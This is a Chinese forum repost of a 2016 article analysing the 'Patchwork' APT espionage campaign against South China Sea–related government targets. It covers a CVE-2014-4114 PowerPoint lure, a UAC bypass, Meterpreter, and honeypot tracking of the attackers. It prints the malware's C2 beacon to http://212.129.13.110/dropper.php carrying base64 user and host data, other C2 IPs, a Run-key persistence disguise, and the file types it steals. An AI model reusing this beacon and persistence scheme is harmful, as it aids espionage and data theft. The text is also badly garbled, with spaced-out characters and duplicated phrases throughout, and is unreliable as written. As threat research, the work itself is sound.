搜索

[10290] 2016-07-11_这个APT攻击与东南亚和中国南海问题相关？

文档创建者：s7ckTeam
浏览次数：23
最后更新：2025-01-18
2016-07-11_这个APT攻击与东南亚和中国南海问题相关？ 这 个 A P T 攻 击 与 东 南 亚 和 中 国 南 海 问 题 相 关 ？ c l o u d s   F r e e B u f   2 0 1 6 - 0 7 - 1 1 最 近 ， 一 个 与 东 南 亚 和 中 国 南 海 问 题 相 关 的 最 近 ， 一 个 与 东 南 亚 和 中 国 南 海 问 题 相 关 的 A P T 攻 击 被 发 现 ， 该 攻 击 被 发 现 ， 该 A P T 攻 击 以 包 括 美 国 在 内 的 各 国 政 府 和 公 司 为 目 标 攻 击 以 包 括 美 国 在 内 的 各 国 政 府 和 公 司 为 目 标   。 经 安 。 经 安 全 专 家 分 析 ， 该 全 专 家 分 析 ， 该 A P T 攻 击 所 使 用 的 全 部 工 具 代 码 都 是 通 过 攻 击 所 使 用 的 全 部 工 具 代 码 都 是 通 过   复 制 复 制 - 粘 贴 粘 贴   互 联 网 公 开 代 码 组 合 而 成 ， 相 对 于 其 它 互 联 网 公 开 代 码 组 合 而 成 ， 相 对 于 其 它 A P T 特 有 的 攻 特 有 的 攻 击 工 具 而 言 ， 比 较 独 特 。 击 工 具 而 言 ， 比 较 独 特 。
C y m m e t r i a 发 现 并 发 布 了 此 发 现 并 发 布 了 此 A P T 攻 击 的 攻 击 的 分 析 报 告 ， 由 于 其 代 码 来 源 于 多 个 网 络 论 坛 和 网 站 ， 如 ， 由 于 其 代 码 来 源 于 多 个 网 络 论 坛 和 网 站 ， 如 G i t h u b 、 暗 网 和 隐 秘 的 犯 罪 论 、 暗 网 和 隐 秘 的 犯 罪 论 坛 等 ， 故 把 其 命 名 为 坛 等 ， 故 把 其 命 名 为 P a t c h w o r k   A P T   攻 击 攻 击 （ （ P a t c h w o r k ： ： 拼 凑 物 ） 。 拼 凑 物 ） 。 一 、 报 告 综 述 一 、 报 告 综 述 P a t c h w o r k   A P T 自 2 0 1 5 年 1 2 月 被 监 测 到 之 后 ， 目 前 已 经 感 染 了 大 约 2 5 0 0 台 电 脑 ， 虽 有 迹 象 表 明 其 最 早 活 动 可 追 溯 至 2 0 1 4 年 ， 但 C y m m e t r i a 并 未 第 一 时 间 发 现 。 P a t c h w o r k   A P T 针 对 的 目 标 是 军 事 和 政 治 机 构 ， 特 别 是 那 些 与 东 南 亚 和 南 海 问 题 相 关 的 工 作 机 构 雇 员 ， 目 标 多 是 政 府 或 与 政 府 有 间 接 联 系 的 机 构 。 在 存 活 的 受 害 者 系 统 上 ， P a t c h w o r k   A P T 通 过 搜 索 文 档 并 上 传 至 其 C & C 服 务 器 ， 如 果 目 标 主 机 非 常 有 价 值 ， P a t c h w o r k   A P T 还 会 进 一 步 安 装 第 二 阶 段 渗 透 工 具 。 以 下 为 P a t c h w o r k A P T   的 攻 击 时 间 范 围 ：
二 、 调 查 二 、 调 查 1   概 述 概 述 该 A P T 攻 击 于 今 年 5 月 在 针 对 欧 洲 政 府 部 门 的 一 起 钓 鱼 活 动 中 被 发 现 ， 攻 击 目 标 为 一 个 中 国 政 策 研 究 机 构 的 工 作 人 员 ， 其 以 P P T 文 档 为 诱 饵 发 起 网 络 攻 击 ， 文 档 内 容 为 中 国 在 南 海 的 一 系 列 活 动 。
当 P P T 文 档 被 打 开 后 ， 嵌 入 执 行 C V E - 2 0 1 4 - 4 1 1 4 漏 洞 代 码 ， 这 个 漏 洞 存 在 于 未 打 补 丁 的   O f f i c e   P o w e r P o i n t   2 0 0 3   和 2 0 0 7 中 ， 漏 洞 利 用 代 码 曾 被 发 起 了 名 为 S a n d w o r m 的 A P T   攻 击 。                         一 旦 漏 洞 代 码 开 始 执 行 ， 第 一 阶 段 为 部 署 攻 击 载 体 ： 一 个 利 用 A u t o I t 工 具 编 译 的 脚 本 。 这 个 脚 本 使 用 某 网 络 论 坛 出 现 的 名 为 U A C M E 方 法 和 代 码 来 绕 过 系 统 U A C 。             获 得 更 高 权 限 之 后 ， 以 M e t e r p r e t e r 方 式 执 行 p o w e r s p l o i t   脚 本 ， （ M e t e r p r e t e r 是 著 名 的 m e t a s p l o i t 框 架 远 控 工 具 ）
下 一 阶 段 ， 开 始 对 文 档 和 目 标 主 机 价 值 进 行 筛 选 判 断 ， 如 果 目 标 足 够 有 价 值 ， 攻 击 者 再 次 部 署 第 二 阶 段 攻 击 模 块 ， 涉 及 到 的 攻 击 工 具 也 大 多 来 源 于 知 名 论 坛 或 网 络 资 源 。 以 下 为 其 攻 击 感 染 流 程 ： 2   以 蜜 罐 方 式 发 现 攻 击 者 以 蜜 罐 方 式 发 现 攻 击 者 为 了 捕 获 攻 击 者 发 起 的 第 二 阶 段 攻 击 程 序 ， 观 察 其 在 内 网 中 的 渗 透 活 动 ， 我 们 创 建 了 一 个 真 实 网 络 环 境 ， 这 个 环 境 让 攻 击 者 觉 得 他 们 已 经 成 功 获 取 了 主 机 权 限 。 零 星 的 诱 饵 数 据 可 以 让 攻 击 者 向 另 一 主 机 转 移 ， 这 些 数 据 可 以 是 存 储 凭 据 ， 共 享 文 件 夹 、 浏 览 器 c o o k i e s ， V P N 配 置 等 其 它 信 息 。 最 终 我 们 利 用 了 C y m m e t r i a ’ s   M a z e R u n n e r   系 统 成 功 捕 获 了 攻 击 者 的 活 动 。 3   开 始 开 始 如 前 所 述 ， 为 了 保 证 攻 击 者 的 攻 击 持 续 处 于 活 动 状 态 ， 我 们 虚 构 了 对 攻 击 者 来 说 非 常 感 兴 趣 的 目 标 ： 一 位 处 理 安 全 问 题 的 政 府 智 库 人 员 。 创 建 欺 骗 网 络 创 建 欺 骗 网 络 •   首 先 ， 创 建 S M B 共 享 ， 映 射 到 目 标 电 脑 并 显 示 网 络 备 份 ； •   其 次 ， 把 一 个 运 行 云 端 服 务 的 R D P 凭 据 存 放 于 电 脑 中 ， 同 时 在 远 程 云 端 系 统 中 部 署 欺 骗 数 据 ， 形 成 蜜 罐 系 统 ， 同 时 造 成 正 常 服 务 的 假 象 。
蜜 罐 文 件 系 统       用   R D P 凭 据 引 向 蜜 罐 系 统 4   一 连 串 的 事 件 一 连 串 的 事 件 （ 1 ）   当 一 个   P o w e r P o i n t   P P S 文 件 被 打 开 之 后 ， 释 放 有 效 攻 击 载 荷 。 即 C V E - 2 0 1 4 - 4 1 1 4 漏 洞 利 用 代 码 （ 曾 用 作 S a n d W o r m 沙 虫 攻 击 ） 。
释 放 的 D r i v e r . i n f   文 件 内 容 （ 2 ）     主 机 被 以 下 可 执 行 文 件 感 染 ：                   •   s y s v o l i n f o . e x e       –   执 行 编 译 脚 本 .                 •   P o w e r S h e l l   以   H T T P S   M e t e r p r e t e r 方 式 执 行 攻 击 脚 本                 , 同 时 保 持 与 C 2 控 制 服 务 器 连 接 ， 发 起 以 下 网 络 请 求 ： h t t p : / / 2 1 2 . 1 2 9 . 1 3 . 1 1 0 / d r o p p e r . p h p ? p r o f i l e = < b a s e 6 4 o f   [ u s e r n a m e @ c o m p u t e r n a m e ] > h t t p s : / / 4 5 . 4 3 . 1 9 2 . 1 7 2 : 8 4 4 3 / O x G N   （ 3 ）     目 标 电 脑 上 的 文 件 被 攻 击 者 以 加 密 通 道 方 式 上 传 至 远 程 控 制 服 务 器 ， 由 于 M e t e r p r e t e r 的 “ s s t a g e r v e r i f y s s l c e r t ” 功 能   开 启 ， 所 以 我 们 没 有 检 测 到 相 应 的 S S L 通 道 ； （ 4 ）   攻 击 者 释 放 第 二 阶 段 恶 意 软 件 7 z i p . e x e ， 利 用 此 程 序 扫 描 硬 盘 并 连 接 远 程 I P 地 址     2 1 2 . 8 3 . 1 9 1 . 1 5 6 。 （ 5 ） 7 z i p . e x e 复 制 自 身 在 C : W i n d o w s S y s W O W 6 4 目 录 下 生 成 n e t v m o n . e x e 文 件 ， 并 添 加 进 程 序 自 启 动 路 径 ， 实 现 长 期 控 制 目 的 。 （ 6 ） 在 最 初 感 染 的 前 三 天 ， 攻 击 者 开 始 对 S M B 共 享 文 件 夹 发 起 访 问 ； （ 7 ） 恶 意 软 件 开 始 访 问 映 射 共 享 ， 并 扫 描 所 有 固 定 磁 盘 驱 动 器 上 的 文 件 ； （ 8 ） 在 M a z e R u n n e r   系 统 的 第 一 个 警 报 产 生 之 后 ， 由 于 诱 饵 系 统 的 I P 地 址 被 内 置 在 R D P 凭 据 文 件 里 ， 所 以 ， 我 们 看 到 了 攻 击 者 试 图 利 用 R D P 凭 据 连 接 诱 饵 系 统 的 数 据 。 警 报 提 示 攻 击 发 起 于 I P   2 1 2 . 1 2 9 . 7 . 1 4 6 ， 整 个 攻 击 持 续 了 1 2 分 钟 ； （ 9 ） 从 我 们 收 到 M a z e r u n n e r 的 警 报 综 合 受 害 主 机 内 的 R D P 连 接 文 件 表 明 ， 攻 击 者 登 录 失 败 了 几 次 ， 但 让 我 们 感 兴 趣 的 是 ， 攻 击 者 并 没 有 使 用 系 统 密 码 获 取 工 具 M i m i k a t z 。 （ 1 0 ） 我 们 相 信 以 上 两 起 攻 击 连 接 发 起 于 同 一 个 攻 击 源 ， 因 为 •   攻 击 者 用 来 连 接 我 们 蜜 罐 系 统 的 两 个 I P 地 址 都 属 于 r e v . p o n e y t e l e c o m . e u f   域 名 ； •     内 部 警 报 表 明 ， 两 起 攻 击 连 接 事 件 发 生 在 同 一 天 。
攻 击 发 起 的 网 络 规 划 图 5   从 攻 击 者 从 攻 击 者 C & C 控 制 服 务 器 中 获 得 的 信 息 控 制 服 务 器 中 获 得 的 信 息   我 们 通 过 另 一 个 合 作 伙 伴 ， 成 功 地 接 手 并 控 制 了 攻 击 者 的 一 个 C & C 服 务 器 ， 服 务 器 中 包 含 了 大 量 文 件 ： •     种 类 多 样 的 P P S 文 件 – 用 作 钓 鱼 攻 击 的 恶 意 文 件                 •     大 量 的 恶 意 代 码 包 而 且 这 些 钓 鱼 文 件 内 容 都 与 中 国 主 题 或 色 情 性 质 相 关 ， 以 下 是 一 些 样 本 文 件 ： 在 C & C 服 务 器 中 ， 我 们 还 提 取 到 了 P P S 文 件 的 修 改 日 期 ， 这 些 日 期 从 2 0 1 5 年 1 2 月 持 续 到 2 0 1 6 年 1 月 。 从 日 期 上 可 以 清 晰 看 出 攻 击 者
准 备 和 实 施 攻 击 的 时 间 线 。 三 、 技 术 分 析 三 、 技 术 分 析 工 具 部 署 工 具 部 署 攻 击 载 体 ： 攻 击 载 体 是 一 个 以 P P S 为 附 件 的 网 络 钓 鱼 邮 件 ， 嵌 入 漏 洞   C V E - 2 0 1 4 - 4 1 1 4                   的 利 用 代 码 。 漏 洞 利 用 代 码 执 行 之 后 释 放 可 执 行 文 件 和 W i n d o w s 驱 动 程 序 描 述 文 件 I N F 。 攻 击 者 把 以 下 两 个 文 件 嵌 入 O L E 实 体 中 并 释 放 到 受 害 者 主 机 ： •     D r i v e r . i n f
•     S y s v o l i n f o . e x D R O P P E R 木 马 程 序 ： 木 马 程 序 ： s y s v o l i n f o . e x e 程 序 是 攻 击 者 第 一 阶 段 的 有 效 载 荷 （ 另 一 个 程 序 是 u p l v 1 0 3 2   . e x e ） ， 其 目 的 是 为 了 提 升 权 限 、 筛 选 数 据 ， 从 网 络 下 载 执 行 p o w e r s p l o i t 发 起 的 程 序 和 命 令 。 通 过 安 装 M e t e r p r e t e r ， 攻 击 者 可 以 在 受 感 染 主 机 内 发 起 远 程 控 制 命 令 。 s y s v o l i n f o . e x e 代 码 本 身 是 利 用 编 译 工 具 A u t o I t 编 译 的 ， 其 代 码 的 一 个 重 要 部 分 抄 袭 于 黑 客 论 坛 “   i n d e t e c t a b l e s   ” 。 C & C 通 信 ： 通 信 ： 当 黑 客 工 具 开 始 运 行 之 后 ， 第 一 步 就 是 与 C & C 服 务 器 进 行 确 认 连 接 ， 静 待 命 令 ， 以 下 就 是 对 C & C 连 接 协 议 的 分 析 ： 属 性 : C o m p u t e r I D = B A S E 6 4 E N C O D E ( “ $ U S E R N A M E @ $ C O M P U T E R N A M E ” ) d d a g e r =   I s s t a r t u p   r e g i s t r y   k e y   a d d e d   ( B o o l ) r 1 = B A S E 6 4 E N C O D E ( r e s u l t   o f   O S V e r s i o n   m a c r o ,   e . g .   W I N _ 7 ) r 2 = B A S E 6 4 E N C O D E ( r e s u l t   o f   O S A r c h   m a c r o ,   e . g .   X 6 4 ) r 3 = B A S E 6 4 E N C O D E ( t r o j a n   v e r s i o n ,   1 . 1   i n   o u r   s a m p l e ) r 4 = B A S E 6 4 E N C O D E ( D o e s   t h e   S Q L i t e   d a t a b a s e   f o l d e r   (   @ U s e r P r o f i l e D i r   & “ A p p D a t a L o c a l G o o g l e C h r o m e U s e r   D a t a D e f a u l t ” )   e x i s t   ( 1 )   o r   n o t   ( 0 ) ) r 5 = B A S E 6 4 E N C O D E ( s t d o u t   o f   l a s t   c m d   c o m m a n d ) r 6 = B A S E 6 4 E N C O D E ( 1   i f   r u n n i n g   a s   a d m i n i s t r a t o r ,   0   i f   n o t ) 发 起 远 程 连 接 请 求 ：     - -     h t t p : / / 2 1 2 . 1 2 9 . 1 3 . 1 1 0 / d r o p p e r . p h p ? p r o f i l e = +   $ C o m p u t e r I D 用 以 下 变 量 作 为 发 送 参 数 ：       - -     d d a g e r ,   r 1 ,   r 2 ,   r 3 ,   r 4 ,   r 5 ,   r 6 . 返 回 变 量 和 结 果 ：   - -     “ $ s d a t a | $ p a y l o a d ” 可 用 命 令 解 释 点 击 原 文 可 查 看 。 当 受 害 主 机 状 态 命 令 发 送 到 控 制 服 务 器 后 ， 黑 客 程 序 继 续 以 “ T o t a l S e c u r i t y ” 字 符 串 目 标 扫 描 整 个 “ P r o g r a m   F i l e s ” 目 录 ， 这 是 “ 3 6 0   T o t a l   S e c u r i t y ” 安 全 软 件 的 安 装 目 录 。 ( 3 6 0   T o t a l   S e c u r i t y   是 3 6 0 的 国 际 版 ） 黑 客 软 件 以 ” B a i d u   S o f t w a r e   U p d a t e ” 为 文 件 夹 伪 装 自 身 进 入 系 统 启 动 目 录 （ H K E Y _ C U R R E N T _ U S E R S O F T W A R E M i c r o s o f t W i n d o w s C u r r e n t V e r s i o n R u n ） 。 然 后 ， 它 又 向 控 制 服 务 器 发 送 另 一 个 命 令 ， 之 后 ， 开 始 扫 描 计 算 机 中 的 所 有 固 定 驱 动 器 磁 盘 ， 以 寻 找 以 下 后 缀 名 文 件 ： * . d o c * . p d f * . c s v * . p p t
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理